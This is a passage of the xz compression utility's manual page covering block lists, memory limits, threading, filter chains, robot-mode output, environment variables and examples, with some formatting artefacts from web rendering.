In multi-threaded mode about three times size bytes will be allocated in each thread for buffering input and output. The default size is three times the LZMA2 dictionary size or 1 MiB, whichever is more. Typically a good value is 2–4 times the size of the LZMA2 dictionary or at least 1 MiB. Using size less than the LZMA2 dictionary size is waste of RAM because then the LZMA2 dictionary buffer will never get fully used. In multi-threaded mode, the sizes of the blocks are stored in the block headers. This size information is required for multi-threaded decompression.

In single-threaded mode no block splitting is done by default. Setting this option doesn’t affect memory usage. No size information is stored in block headers, thus files created in single-threaded mode won’t be identical to files created in multi-threaded mode. The lack of size information also means that xz won’t be able decompress the files in multi-threaded mode.

**–block-list=**items
When compressing to the .xz format, start a new block with an optional custom filter chain after the given intervals of uncompressed data.

The items are a comma-separated list. Each item consists of an optional filter chain number between 0 and 9 followed by a colon (:) and a required size of uncompressed data. Omitting an item (two or more consecutive commas) is a shorthand to use the size and filters of the previous item.

If the input file is bigger than the sum of the sizes in items, the last item is repeated until the end of the file. A special value of 0 may be used as the last size to indicate that the rest of the file should be encoded as a single block.

An alternative filter chain for each block can be specified in combination with the **–filters1=**filters–filters9=filters options. These options define filter chains with an identifier between 1–9. Filter chain 0 can be used to refer to the default filter chain, which is the same as not specifying a filter chain. The filter chain identifier can be used before the uncompressed size, followed by a colon (:). For example, if one specifies –block-list=1:2MiB,3:2MiB,2:4MiB,,2MiB,0:4MiB then blocks will be created using:

  • The filter chain specified by –filters1 and 2 MiB input

  • The filter chain specified by –filters3 and 2 MiB input

  • The filter chain specified by –filters2 and 4 MiB input

  • The filter chain specified by –filters2 and 4 MiB input

  • The default filter chain and 2 MiB input

  • The default filter chain and 4 MiB input for every block until end of input.

If one specifies a size that exceeds the encoder’s block size (either the default value in threaded mode or the value specified with **–block-size=**size), the encoder will create additional blocks while keeping the boundaries specified in items. For example, if one specifies –block-size=10MiB –block-list=5MiB,10MiB,8MiB,12MiB,24MiB and the input file is 80 MiB, one will get 11 blocks: 5, 10, 8, 10, 2, 10, 10, 4, 10, 10, and 1 MiB.

In multi-threaded mode the sizes of the blocks are stored in the block headers. This isn’t done in single-threaded mode, so the encoded output won’t be identical to that of the multi-threaded mode.

**–flush-timeout=**timeout
When compressing, if more than timeout milliseconds (a positive integer) has passed since the previous flush and reading more input would block, all the pending input data is flushed from the encoder and made available in the output stream. This can be useful if xz is used to compress data that is streamed over a network. Small timeout values make the data available at the receiving end with a small delay, but large timeout values give better compression ratio.

This feature is disabled by default. If this option is specified more than once, the last one takes effect. The special timeout value of 0 can be used to explicitly disable this feature.

This feature is not available on non-POSIX systems.

This feature is still experimental. Currently xz is unsuitable for decompressing the stream in real time due to how xz does buffering.

**–memlimit-compress=**limit
Set a memory usage limit for compression. If this option is specified multiple times, the last one takes effect.

If the compression settings exceed the limit, xz will attempt to adjust the settings downwards so that the limit is no longer exceeded and display a notice that automatic adjustment was done. The adjustments are done in this order: reducing the number of threads, switching to single-threaded mode if even one thread in multi-threaded mode exceeds the limit, and finally reducing the LZMA2 dictionary size.

When compressing with –format=raw or if –no-adjust has been specified, only the number of threads may be reduced since it can be done without affecting the compressed output.

If the limit cannot be met even with the adjustments described above, an error is displayed and xz will exit with exit status 1.

The limit can be specified in multiple ways:

  • The limit can be an absolute value in bytes. Using an integer suffix like MiB can be useful. Example: –memlimit-compress=80MiB

  • The limit can be specified as a percentage of total physical memory (RAM). This can be useful especially when setting the XZ_DEFAULTS environment variable in a shell initialization script that is shared between different computers. That way the limit is automatically bigger on systems with more memory. Example: –memlimit-compress=70%

  • The limit can be reset back to its default value by setting it to 0. This is currently equivalent to setting the limit to max (no memory usage limit).

For 32-bit xz there is a special case: if the limit would be over 4020 MiB, the limit is set to 4020 MiB. On MIPS32 2000 MiB is used instead. (The values 0 and max aren’t affected by this. A similar feature doesn’t exist for decompression.) This can be helpful when a 32-bit executable has access to 4 GiB address space (2 GiB on MIPS32) while hopefully doing no harm in other situations.

See also the section Memory usage.

**–memlimit-decompress=**limit
Set a memory usage limit for decompression. This also affects the –list mode. If the operation is not possible without exceeding the limit, xz will display an error and decompressing the file will fail. See **–memlimit-compress=**limit for possible ways to specify the limit.

**–memlimit-mt-decompress=**limit
Set a memory usage limit for multi-threaded decompression. This can only affect the number of threads; this will never make xz refuse to decompress a file. If limit is too low to allow any multi-threading, the limit is ignored and xz will continue in single-threaded mode. Note that if also –memlimit-decompress is used, it will always apply to both single-threaded and multi-threaded modes, and so the effective limit for multi-threading will never be higher than the limit set with –memlimit-decompress.

In contrast to the other memory usage limit options, **–memlimit-mt-decompress=**limit has a system-specific default limit. xz –info-memory can be used to see the current value.

This option and its default value exist because without any limit the threaded decompressor could end up allocating an insane amount of memory with some input files. If the default limit is too low on your system, feel free to increase the limit but never set it to a value larger than the amount of usable RAM as with appropriate input files xz will attempt to use that amount of memory even with a low number of threads. Running out of memory or swapping will not improve decompression performance.

See **–memlimit-compress=**limit for possible ways to specify the limit. Setting limit to 0 resets the limit to the default system-specific value.

-M limit, **–memlimit=**limit, **–memory=**limit
This is equivalent to specifying **–memlimit-compress=**limit **–memlimit-decompress=**limit **–memlimit-mt-decompress=**limit.

–no-adjust
Display an error and exit if the memory usage limit cannot be met without adjusting settings that affect the compressed output. That is, this prevents xz from switching the encoder from multi-threaded mode to single-threaded mode and from reducing the LZMA2 dictionary size. Even when this option is used the number of threads may be reduced to meet the memory usage limit as that won’t affect the compressed output.

Automatic adjusting is always disabled when creating raw streams (–format=raw).

-T threads, **–threads=**threads
Specify the number of worker threads to use. Setting threads to a special value 0 makes xz use up to as many threads as the processor(s) on the system support. The actual number of threads can be fewer than threads if the input file is not big enough for threading with the given settings or if using more threads would exceed the memory usage limit.

The single-threaded and multi-threaded compressors produce different output. Single-threaded compressor will give the smallest file size but only the output from the multi-threaded compressor can be decompressed using multiple threads. Setting threads to 1 will use the single-threaded mode. Setting threads to any other value, including 0, will use the multi-threaded compressor even if the system supports only one hardware thread. (xz 5.2.x used single-threaded mode in this situation.)

To use multi-threaded mode with only one thread, set threads to +1. The + prefix has no effect with values other than 1. A memory usage limit can still make xz switch to single-threaded mode unless –no-adjust is used. Support for the + prefix was added in xz 5.4.0.

If an automatic number of threads has been requested and no memory usage limit has been specified, then a system-specific default soft limit will be used to possibly limit the number of threads. It is a soft limit in sense that it is ignored if the number of threads becomes one, thus a soft limit will never stop xz from compressing or decompressing. This default soft limit will not make xz switch from multi-threaded mode to single-threaded mode. The active limits can be seen with xz –info-memory.

Currently the only threading method is to split the input into blocks and compress them independently from each other. The default block size depends on the compression level and can be overridden with the **–block-size=**size option.

Threaded decompression only works on files that contain multiple blocks with size information in block headers. All large enough files compressed in multi-threaded mode meet this condition, but files compressed in single-threaded mode don’t even if **–block-size=**size has been used.

The default value for threads is 0. In xz 5.4.x and older the default is 1.

Custom compressor filter chains

A custom filter chain allows specifying the compression settings in detail instead of relying on the settings associated to the presets. When a custom filter chain is specified, preset options (-0-9 and –extreme) earlier on the command line are forgotten. If a preset option is specified after one or more custom filter chain options, the new preset takes effect and the custom filter chain options specified earlier are forgotten.

A filter chain is comparable to piping on the command line. When compressing, the uncompressed input goes to the first filter, whose output goes to the next filter (if any). The output of the last filter gets written to the compressed file. The maximum number of filters in the chain is four, but typically a filter chain has only one or two filters.

Many filters have limitations on where they can be in the filter chain: some filters can work only as the last filter in the chain, some only as a non-last filter, and some work in any position in the chain. Depending on the filter, this limitation is either inherent to the filter design or exists to prevent security issues.

A custom filter chain can be specified in two different ways. The options **–filters=**filters and **–filters1=filters–filters9=filters allow specifying an entire filter chain in one option using the liblzma filter string syntax. Alternatively, a filter chain can be specified by using one or more individual filter options in the order they are wanted in the filter chain. That is, the order of the individual filter options is significant! When decoding raw streams (–format=raw), the filter chain must be specified in the same order as it was specified when compressing. Any individual filter or preset options specified before the full chain option (–filters=**filters) will be forgotten. Individual filters specified after the full chain option will reset the filter chain.

Both the full and individual filter options take filter-specific options as a comma-separated list. Extra commas in options are ignored. Every option has a default value, so specify those you want to change.

To see the whole filter chain and options, use xz -vv (that is, use –verbose twice). This works also for viewing the filter chain options used by presets.

–filters=filters
Specify the full filter chain or a preset in a single option. Each filter can be separated by spaces or two dashes (
). filters may need to be quoted on the shell command line so it is parsed as a single option. To denote options, use : or =. A preset can be prefixed with a - and followed with zero or more flags. The only supported flag is e to apply the same options as –extreme.

–filters1=filters–filters9=filters
Specify up to nine additional filter chains that can be used with –block-list.

For example, when compressing an archive with executable files followed by text files, the executable part could use a filter chain with a BCJ filter and the text part only the LZMA2 filter.

–filters-help
Display a help message describing how to specify presets and custom filter chains in the –filters and **–filters1=**filters … **–filters9=**filters options, and exit successfully.

–lzma1[**=**options]

–lzma2[**=**options]

Add LZMA1 or LZMA2 filter to the filter chain. These filters can be used only as the last filter in the chain.

LZMA1 is a legacy filter, which is supported almost solely due to the legacy .lzma file format, which supports only LZMA1. LZMA2 is an updated version of LZMA1 to fix some practical issues of LZMA1. The .xz format uses LZMA2 and doesn’t support LZMA1 at all. Compression speed and ratios of LZMA1 and LZMA2 are practically the same.

LZMA1 and LZMA2 share the same set of options:

**preset=**preset
Reset all LZMA1 or LZMA2 options to preset. Preset consist of an integer, which may be followed by single-letter preset modifiers. The integer can be from 0 to 9, matching the command line options -0-9. The only supported modifier is currently e, which matches –extreme. If no preset is specified, the default values of LZMA1 or LZMA2 options are taken from the preset 6.

**dict=**size
Dictionary (history buffer) size indicates how many bytes of the recently processed uncompressed data is kept in memory. The algorithm tries to find repeating byte sequences (matches) in the uncompressed data, and replace them with references to the data currently in the dictionary. The bigger the dictionary, the higher is the chance to find a match. Thus, increasing dictionary size usually improves compression ratio, but a dictionary bigger than the uncompressed file is waste of memory.

Typical dictionary size is from 64 KiB to 64 MiB. The minimum is 4 KiB. The maximum for compression is currently 1.5 GiB (1536 MiB). The decompressor already supports dictionaries up to one byte less than 4 GiB, which is the maximum for the LZMA1 and LZMA2 stream formats.

Dictionary size and match finder (mf) together determine the memory usage of the LZMA1 or LZMA2 encoder. The same (or bigger) dictionary size is required for decompressing that was used when compressing, thus the memory usage of the decoder is determined by the dictionary size used when compressing. The .xz headers store the dictionary size either as 2^n or 2^n + 2^(n-1), so these sizes are somewhat preferred for compression. Other sizes will get rounded up when stored in the .xz headers.

**lc=**lc
Specify the number of literal context bits. The minimum is 0 and the maximum is 4; the default is 3. In addition, the sum of lc and lp must not exceed 4.

All bytes that cannot be encoded as matches are encoded as literals. That is, literals are simply 8-bit bytes that are encoded one at a time.

The literal coding makes an assumption that the highest lc bits of the previous uncompressed byte correlate with the next byte. For example, in typical English text, an upper-case letter is often followed by a lower-case letter, and a lower-case letter is usually followed by another lower-case letter. In the US-ASCII character set, the highest three bits are 010 for upper-case letters and 011 for lower-case letters. When lc is at least 3, the literal coding can take advantage of this property in the uncompressed data.

The default value (3) is usually good. If you want maximum compression, test lc=4. Sometimes it helps a little, and sometimes it makes compression worse. If it makes it worse, test lc=2 too.

**lp=**lp
Specify the number of literal position bits. The minimum is 0 and the maximum is 4; the default is 0.

Lp affects what kind of alignment in the uncompressed data is assumed when encoding literals. See pb below for more information about alignment.

**pb=**pb
Specify the number of position bits. The minimum is 0 and the maximum is 4; the default is 2.

Pb affects what kind of alignment in the uncompressed data is assumed in general. The default means four-byte alignment (2^pb=2^2=4), which is often a good choice when there’s no better guess.

When the alignment is known, setting pb accordingly may reduce the file size a little. For example, with text files having one-byte alignment (US-ASCII, ISO-8859-*, UTF-8), setting pb=0 can improve compression slightly. For UTF-16 text, pb=1 is a good choice. If the alignment is an odd number like 3 bytes, pb=0 might be the best choice.

Even though the assumed alignment can be adjusted with pb and lp, LZMA1 and LZMA2 still slightly favor 16-byte alignment. It might be worth taking into account when designing file formats that are likely to be often compressed with LZMA1 or LZMA2.

**mf=**mf
Match finder has a major effect on encoder speed, memory usage, and compression ratio. Usually Hash Chain match finders are faster than Binary Tree match finders. The default depends on the preset: 0 uses hc3, 1–3 use hc4, and the rest use bt4.

The following match finders are supported. The memory usage formulas below are rough approximations, which are closest to the reality when dict is a power of two.

hc3
Hash Chain with 2- and 3-byte hashing
Minimum value for nice: 3
Memory usage:
dict * 7.5 (if dict <= 16 MiB);
dict * 5.5 + 64 MiB (if dict > 16 MiB)

hc4
Hash Chain with 2-, 3-, and 4-byte hashing
Minimum value for nice: 4
Memory usage:
dict * 7.5 (if dict <= 32 MiB);
dict * 6.5 (if dict > 32 MiB)

bt2
Binary Tree with 2-byte hashing
Minimum value for nice: 2
Memory usage: dict * 9.5

bt3
Binary Tree with 2- and 3-byte hashing
Minimum value for nice: 3
Memory usage:
dict * 11.5 (if dict <= 16 MiB);
dict * 9.5 + 64 MiB (if dict > 16 MiB)

bt4
Binary Tree with 2-, 3-, and 4-byte hashing
Minimum value for nice: 4
Memory usage:
dict * 11.5 (if dict <= 32 MiB);
dict * 10.5 (if dict > 32 MiB)

**mode=**mode
Compression mode specifies the method to analyze the data produced by the match finder. Supported modes are fast and normal. The default is fast for presets 0–3 and normal for presets 4–9.

Usually fast is used with Hash Chain match finders and normal with Binary Tree match finders. This is also what the presets do.

**nice=**nice
Specify what is considered to be a nice length for a match. Once a match of at least nice bytes is found, the algorithm stops looking for possibly better matches.

Nice can be 2–273 bytes. Higher values tend to give better compression ratio at the expense of speed. The default depends on the preset.

**depth=**depth
Specify the maximum search depth in the match finder. The default is the special value of 0, which makes the compressor determine a reasonable depth from mf and nice.

Reasonable depth for Hash Chains is 4–100 and 16–1000 for Binary Trees. Using very high values for depth can make the encoder extremely slow with some files. Avoid setting the depth over 1000 unless you are prepared to interrupt the compression in case it is taking far too long.

When decoding raw streams (–format=raw), LZMA2 needs only the dictionary size. LZMA1 needs also lc, lp, and pb.

–x86[**=**options]

–arm[**=options]
–armthumb[
=options]
–arm64[
=options]
–powerpc[
=options]
–ia64[
=options]
–sparc[
=options]
–riscv[
=**options]

Add a branch/call/jump (BCJ) filter to the filter chain. These filters can be used only as a non-last filter in the filter chain.

A BCJ filter converts relative addresses in the machine code to their absolute counterparts. This doesn’t change the size of the data but it increases redundancy, which can help LZMA2 to produce 0–15 % smaller .xz file. The BCJ filters are always reversible, so using a BCJ filter for wrong type of data doesn’t cause any data loss, although it may make the compression ratio slightly worse. The BCJ filters are very fast and use an insignificant amount of memory.

These BCJ filters have known problems related to the compression ratio:

  • Some types of files containing executable code (for example, object files, static libraries, and Linux kernel modules) have the addresses in the instructions filled with filler values. These BCJ filters will still do the address conversion, which will make the compression worse with these files.

  • If a BCJ filter is applied on an archive, it is possible that it makes the compression ratio worse than not using a BCJ filter. For example, if there are similar or even identical executables then filtering will likely make the files less similar and thus compression is worse. The contents of non-executable files in the same archive can matter too. In practice one has to try with and without a BCJ filter to see which is better in each situation.

Different instruction sets have different alignment: the executable file must be aligned to a multiple of this value in the input data to make the filter work.

FilterAlignmentNotes
x86132-bit or 64-bit x86
ARM4
ARM-Thumb2
ARM6444096-byte alignment is best
PowerPC4Big endian only
IA-6416Itanium
SPARC4
RISC-V2

Since the BCJ-filtered data is usually compressed with LZMA2, the compression ratio may be improved slightly if the LZMA2 options are set to match the alignment of the selected BCJ filter. Examples:

  • IA-64 filter has 16-byte alignment so pb=4,lp=4,lc=0 is good with LZMA2 (2^4=16).

  • RISC-V code has 2-byte or 4-byte alignment depending on whether the file contains 16-bit compressed instructions (the C extension). When 16-bit instructions are used, pb=2,lp=1,lc=3 or pb=1,lp=1,lc=3 is good. When 16-bit instructions aren’t present, pb=2,lp=2,lc=2 is the best. readelf -h can be used to check if “RVC” appears on the “Flags” line.

  • ARM64 is always 4-byte aligned so pb=2,lp=2,lc=2 is the best.

  • The x86 filter is an exception. It’s usually good to stick to LZMA2’s defaults (pb=2,lp=0,lc=3) when compressing x86 executables.

All BCJ filters support the same options:

**start=**offset
Specify the start offset that is used when converting between relative and absolute addresses. The offset must be a multiple of the alignment of the filter (see the table above). The default is zero. In practice, the default is good; specifying a custom offset is almost never useful.

–delta[**=**options]
Add the Delta filter to the filter chain. The Delta filter can be only used as a non-last filter in the filter chain.

Currently only simple byte-wise delta calculation is supported. It can be useful when compressing, for example, uncompressed bitmap images or uncompressed PCM audio. However, special purpose algorithms may give significantly better results than Delta + LZMA2. This is true especially with audio, which compresses faster and better, for example, with flac(1).

Supported options:

**dist=**distance
Specify the distance of the delta calculation in bytes. distance must be 1–256. The default is 1.

For example, with dist=2 and eight-byte input A1 B1 A2 B3 A3 B5 A4 B7, the output will be A1 B1 01 02 01 02 01 02.

Other options

-q, –quiet
Suppress warnings and notices. Specify this twice to suppress errors too. This option has no effect on the exit status. That is, even if a warning was suppressed, the exit status to indicate a warning is still used.

-v, –verbose
Be verbose. If standard error is connected to a terminal, xz will display a progress indicator. Specifying –verbose twice will give even more verbose output.

The progress indicator shows the following information:

  • Completion percentage is shown if the size of the input file is known. That is, the percentage cannot be shown in pipes.

  • Amount of compressed data produced (compressing) or consumed (decompressing).

  • Amount of uncompressed data consumed (compressing) or produced (decompressing).

  • Compression ratio, which is calculated by dividing the amount of compressed data processed so far by the amount of uncompressed data processed so far.

  • Compression or decompression speed. This is measured as the amount of uncompressed data consumed (compression) or produced (decompression) per second. It is shown after a few seconds have passed since xz started processing the file.

  • Elapsed time in the format M:SS or H:MM:SS.

  • Estimated remaining time is shown only when the size of the input file is known and a couple of seconds have already passed since xz started processing the file. The time is shown in a less precise format which never has any colons, for example, 2 min 30 s.

When standard error is not a terminal, –verbose will make xz print the filename, compressed size, uncompressed size, compression ratio, and possibly also the speed and elapsed time on a single line to standard error after compressing or decompressing the file. The speed and elapsed time are included only when the operation took at least a few seconds. If the operation didn’t finish, for example, due to user interruption, also the completion percentage is printed if the size of the input file is known.

-Q, –no-warn
Don’t set the exit status to 2 even if a condition worth a warning was detected. This option doesn’t affect the verbosity level, thus both –quiet and –no-warn have to be used to not display warnings and to not alter the exit status.

–robot
Print messages in a machine-parsable format. This is intended to ease writing frontends that want to use xz instead of liblzma, which may be the case with various scripts. The output with this option enabled is meant to be stable across xz releases. See the section ROBOT MODE for details.

–info-memory
Display, in human-readable format, how much physical memory (RAM) and how many processor threads xz thinks the system has and the memory usage limits for compression and decompression, and exit successfully.

-h, –help
Display a help message describing the most commonly used options, and exit successfully.

-H, –long-help
Display a help message describing all features of xz, and exit successfully

-V, –version
Display the version number of xz and liblzma in human readable format. To get machine-parsable output, specify –robot before –version.

ROBOT MODE

The robot mode is activated with the –robot option. It makes the output of xz easier to parse by other programs. Currently –robot is supported only together with –list, –filters-help, –info-memory, and –version. It will be supported for compression and decompression in the future.

List mode

xz –robot –list uses tab-separated output. The first column of every line has a string that indicates the type of the information found on that line:

name
This is always the first line when starting to list a file. The second column on the line is the filename.

file
This line contains overall information about the .xz file. This line is always printed after the name line.

stream
This line type is used only when –verbose was specified. There are as many stream lines as there are streams in the .xz file.

block
This line type is used only when –verbose was specified. There are as many block lines as there are blocks in the .xz file. The block lines are shown after all the stream lines; different line types are not interleaved.

summary
This line type is used only when –verbose was specified twice. This line is printed after all block lines. Like the file line, the summary line contains overall information about the .xz file.

totals
This line is always the very last line of the list output. It shows the total counts and sizes.

The columns of the file lines:

  1. Number of streams in the file

  2. Total number of blocks in the stream(s)

  3. Compressed size of the file

  4. Uncompressed size of the file

  5. Compression ratio, for example, 0.123. If ratio is over 9.999, three dashes () are displayed instead of the ratio.

  6. Comma-separated list of integrity check names. The following strings are used for the known check types: None, CRC32, CRC64, and SHA-256. For unknown check types, **Unknown-**N is used, where N is the Check ID as a decimal number (one or two digits).

  7. Total size of stream padding in the file

The columns of the stream lines:

  1. Stream number (the first stream is 1)

  2. Number of blocks in the stream

  3. Compressed start offset

  4. Uncompressed start offset

  5. Compressed size (does not include stream padding)

  6. Uncompressed size

  7. Compression ratio

  8. Name of the integrity check

  9. Size of stream padding

The columns of the block lines:

  1. Number of the stream containing this block

  2. Block number relative to the beginning of the stream (the first block is 1)

  3. Block number relative to the beginning of the file

  4. Compressed start offset relative to the beginning of the file

  5. Uncompressed start offset relative to the beginning of the file

  6. Total compressed size of the block (includes headers)

  7. Uncompressed size

  8. Compression ratio

  9. Name of the integrity check

If –verbose was specified twice, additional columns are included on the block lines. These are not displayed with a single –verbose, because getting this information requires many seeks and can thus be slow:

  1. Value of the integrity check in hexadecimal

  2. Block header size

  3. Block flags: c indicates that compressed size is present, and u indicates that uncompressed size is present. If the flag is not set, a dash (-) is shown instead to keep the string length fixed. New flags may be added to the end of the string in the future.

  4. Size of the actual compressed data in the block (this excludes the block header, block padding, and check fields)

  5. Amount of memory (in bytes) required to decompress this block with this xz version

  6. Filter chain. Note that most of the options used at compression time cannot be known, because only the options that are needed for decompression are stored in the .xz headers.

The columns of the summary lines:

  1. Amount of memory (in bytes) required to decompress this file with this xz version

  2. yes or no indicating if all block headers have both compressed size and uncompressed size stored in them

Since xz 5.1.2alpha:

  1. Minimum xz version required to decompress the file

The columns of the totals line:

  1. Number of streams

  2. Number of blocks

  3. Compressed size

  4. Uncompressed size

  5. Average compression ratio

  6. Comma-separated list of integrity check names that were present in the files

  7. Stream padding size

  8. Number of files. This is here to keep the order of the earlier columns the same as on file lines.

If –verbose was specified twice, additional columns are included on the totals line:

  1. Maximum amount of memory (in bytes) required to decompress the files with this xz version

  2. yes or no indicating if all block headers have both compressed size and uncompressed size stored in them

Since xz 5.1.2alpha:

  1. Minimum xz version required to decompress the file

Future versions may add new line types and new columns can be added to the existing line types, but the existing columns won’t be changed.

Filters help

xz –robot –filters-help prints the supported filters in the following format:

filter**:option=<value>,option=<value>**…

filter
Name of the filter

option
Name of a filter specific option

value
Numeric value ranges appear as <min-max>. String value choices are shown within < > and separated by a | character.

Each filter is printed on its own line.

Memory limit information

xz –robot –info-memory prints a single line with multiple tab-separated columns:

  1. Total amount of physical memory (RAM) in bytes.

  2. Memory usage limit for compression in bytes (–memlimit-compress). A special value of 0 indicates the default setting which for single-threaded mode is the same as no limit.

  3. Memory usage limit for decompression in bytes (–memlimit-decompress). A special value of 0 indicates the default setting which for single-threaded mode is the same as no limit.

  4. Since xz 5.3.4alpha: Memory usage for multi-threaded decompression in bytes (–memlimit-mt-decompress). This is never zero because a system-specific default value shown in the column 5 is used if no limit has been specified explicitly. This is also never greater than the value in the column 3 even if a larger value has been specified with –memlimit-mt-decompress.

  5. Since xz 5.3.4alpha: A system-specific default memory usage limit that is used to limit the number of threads when compressing with an automatic number of threads (–threads=0) and no memory usage limit has been specified (–memlimit-compress). This is also used as the default value for –memlimit-mt-decompress.

  6. Since xz 5.3.4alpha: Number of available processor threads.

In the future, the output of xz –robot –info-memory may have more columns, but never more than a single line.

Version

xz –robot –version prints the version number of xz and liblzma in the following format:

**XZ_VERSION=**XYYYZZZS
**LIBLZMA_VERSION=**XYYYZZZS

X
Major version.

YYY
Minor version. Even numbers are stable. Odd numbers are alpha or beta versions.

ZZZ
Patch level for stable releases or just a counter for development releases.

S
Stability. 0 is alpha, 1 is beta, and 2 is stable. S should be always 2 when YYY is even.

XYYYZZZS are the same on both lines if xz and liblzma are from the same XZ Utils release.

Examples: 4.999.9beta is 49990091 and 5.0.0 is 50000002.

EXIT STATUS

0
All is good.

1
An error occurred.

2
Something worth a warning occurred, but no actual errors occurred.

Notices (not warnings or errors) printed on standard error don’t affect the exit status.

ENVIRONMENT

xz parses space-separated lists of options from the environment variables XZ_DEFAULTS and XZ_OPT, in this order, before parsing the options from the command line. Note that only options are parsed from the environment variables; all non-options are silently ignored. Parsing is done with getopt_long(3) which is used also for the command line arguments.

XZ_DEFAULTS
User-specific or system-wide default options. Typically this is set in a shell initialization script to enable xz’s memory usage limiter by default. Excluding shell initialization scripts and similar special cases, scripts must never set or unset XZ_DEFAULTS.

XZ_OPT
This is for passing options to xz when it is not possible to set the options directly on the xz command line. This is the case when xz is run by a script or tool, for example, GNU tar(1):

XZ_OPT=-2v tar caf foo.tar.xz foo

Scripts may use XZ_OPT, for example, to set script-specific default compression options. It is still recommended to allow users to override XZ_OPT if that is reasonable. For example, in sh(1) scripts one may use something like this:

XZ_OPT=${XZ_OPT-"-7e"} export XZ_OPT

LZMA UTILS COMPATIBILITY

The command line syntax of xz is practically a superset of lzma, unlzma, and lzcat as found from LZMA Utils 4.32.x. In most cases, it is possible to replace LZMA Utils with XZ Utils without breaking existing scripts. There are some incompatibilities though, which may sometimes cause problems.

Compression preset levels

The numbering of the compression level presets is not identical in xz and LZMA Utils. The most important difference is how dictionary sizes are mapped to different presets. Dictionary size is roughly equal to the decompressor memory usage.

LevelxzLZMA Utils
-0256 KiBN/A
-11 MiB64 KiB
-22 MiB1 MiB
-34 MiB512 KiB
-44 MiB1 MiB
-58 MiB2 MiB
-68 MiB4 MiB
-716 MiB8 MiB
-832 MiB16 MiB
-964 MiB32 MiB

The dictionary size differences affect the compressor memory usage too, but there are some other differences between LZMA Utils and XZ Utils, which make the difference even bigger:

LevelxzLZMA Utils 4.32.x
-03 MiBN/A
-19 MiB2 MiB
-217 MiB12 MiB
-332 MiB12 MiB
-448 MiB16 MiB
-594 MiB26 MiB
-694 MiB45 MiB
-7186 MiB83 MiB
-8370 MiB159 MiB
-9674 MiB311 MiB

The default preset level in LZMA Utils is -7 while in XZ Utils it is -6, so both use an 8 MiB dictionary by default.

Streamed vs. non-streamed .lzma files

The uncompressed size of the file can be stored in the .lzma header. LZMA Utils does that when compressing regular files. The alternative is to mark that uncompressed size is unknown and use end-of-payload marker to indicate where the decompressor should stop. LZMA Utils uses this method when uncompressed size isn’t known, which is the case, for example, in pipes.

xz supports decompressing .lzma files with or without end-of-payload marker, but all .lzma files created by xz will use end-of-payload marker and have uncompressed size marked as unknown in the .lzma header. This may be a problem in some uncommon situations. For example, a .lzma decompressor in an embedded device might work only with files that have known uncompressed size. If you hit this problem, you need to use LZMA Utils or LZMA SDK to create .lzma files with known uncompressed size.

Unsupported .lzma files

The .lzma format allows lc values up to 8, and lp values up to 4. LZMA Utils can decompress files with any lc and lp, but always creates files with lc=3 and lp=0. Creating files with other lc and lp is possible with xz and with LZMA SDK.

The implementation of the LZMA1 filter in liblzma requires that the sum of lc and lp must not exceed 4. Thus, .lzma files, which exceed this limitation, cannot be decompressed with xz.

LZMA Utils creates only .lzma files which have a dictionary size of 2^n (a power of 2) but accepts files with any dictionary size. liblzma accepts only .lzma files which have a dictionary size of 2^n or 2^n + 2^(n-1). This is to decrease false positives when detecting .lzma files.

These limitations shouldn’t be a problem in practice, since practically all .lzma files have been compressed with settings that liblzma will accept.

Trailing garbage

When decompressing, LZMA Utils silently ignore everything after the first .lzma stream. In most situations, this is a bug. This also means that LZMA Utils don’t support decompressing concatenated .lzma files.

If there is data left after the first .lzma stream, xz considers the file to be corrupt unless –single-stream was used. This may break obscure scripts which have assumed that trailing garbage is ignored.

NOTES

Compressed output may vary

The exact compressed output produced from the same uncompressed input file may vary between XZ Utils versions even if compression options are identical. This is because the encoder can be improved (faster or better compression) without affecting the file format. The output can vary even between different builds of the same XZ Utils version, if different build options are used.

The above means that once –rsyncable has been implemented, the resulting files won’t necessarily be rsyncable unless both old and new files have been compressed with the same xz version. This problem can be fixed if a part of the encoder implementation is frozen to keep rsyncable output stable across xz versions.

Embedded .xz decompressors

Embedded .xz decompressor implementations like XZ Embedded don’t necessarily support files created with integrity check types other than none and crc32. Since the default is –check=crc64, you must use –check=none or –check=crc32 when creating files for embedded systems.

Outside embedded systems, all .xz format decompressors support all the check types, or at least are able to decompress the file without verifying the integrity check if the particular check is not supported.

XZ Embedded supports BCJ filters, but only with the default start offset.

EXAMPLES

Basics

Compress the file foo into foo.xz using the default compression level (-6), and remove foo if compression is successful:

xz foo

Decompress bar.xz into bar and don’t remove bar.xz even if decompression is successful:

xz -dk bar.xz

Create baz.tar.xz with the preset -4e (-4 –extreme), which is slower than the default -6, but needs less memory for compression and decompression (48 MiB and 5 MiB, respectively):

tar cf - baz | xz -4e > baz.tar.xz

A mix of compressed and uncompressed files can be decompressed to standard output with a single command:

xz -dcf a.txt b.txt.xz c.txt d.txt.lzma > abcd.txt

Parallel compression of many files

On GNU and *BSD, find(1) and xargs(1) can be used to parallelize compression of many files:

find . -type f ! -name ‘*.xz’ -print0
| xargs -0r -P4 -n16 xz -T1

The -P option to xargs(1) sets the number of parallel xz processes. The best value for the -n option depends on how many files there are to be compressed. If there are only a couple of files, the value should probably be 1; with tens of thousands of files, 100 or even more may be appropriate to reduce the number of xz processes that xargs(1) will eventually create.

The option -T1 for xz is there to force it to single-threaded mode, because xargs(1) is used to control the amount of parallelization.

Robot mode

Calculate how many bytes have been saved in total after compressing multiple files:

xz –robot –list *.xz | awk ‘/^totals/{print $5-$4}’

A script may want to know that it is using new enough xz. The following sh(1) script checks that the version number of the xz tool is at least 5.0.0. This method is compatible with old beta versions, which didn’t support the –robot option:

if ! eval “$(xz –robot –version 2> /dev/null)” || [ “$XZ_VERSION” -lt 50000002 ]; then echo “Your xz is too old.” fi unset XZ_VERSION LIBLZMA_VERSION

Set a memory usage limit for decompression using XZ_OPT, but if a limit has already been set, don’t increase it:

NEWLIM=$((123 « 20)) # 123 MiB OLDLIM=$(xz –robot –info-memory | cut -f3) if [ $OLDLIM -eq 0 -o $OLDLIM -gt $NEWLIM ]; then XZ_OPT="$XZ_OPT –memlimit-decompress=$NEWLIM" export XZ_OPT fi

Custom compressor filter chains

The simplest use for custom filter chains is customizing a LZMA2 preset. This can be useful, because the presets cover only a subset of the potentially useful combinations of compression settings.

The CompCPU columns of the tables from the descriptions of the options -0-9 and –extreme are useful when customizing LZMA2 presets. Here are the relevant parts collected from those two tables:

PresetCompCPU
-00
-11
-22
-33
-44
-55
-66
-5e7
-6e8

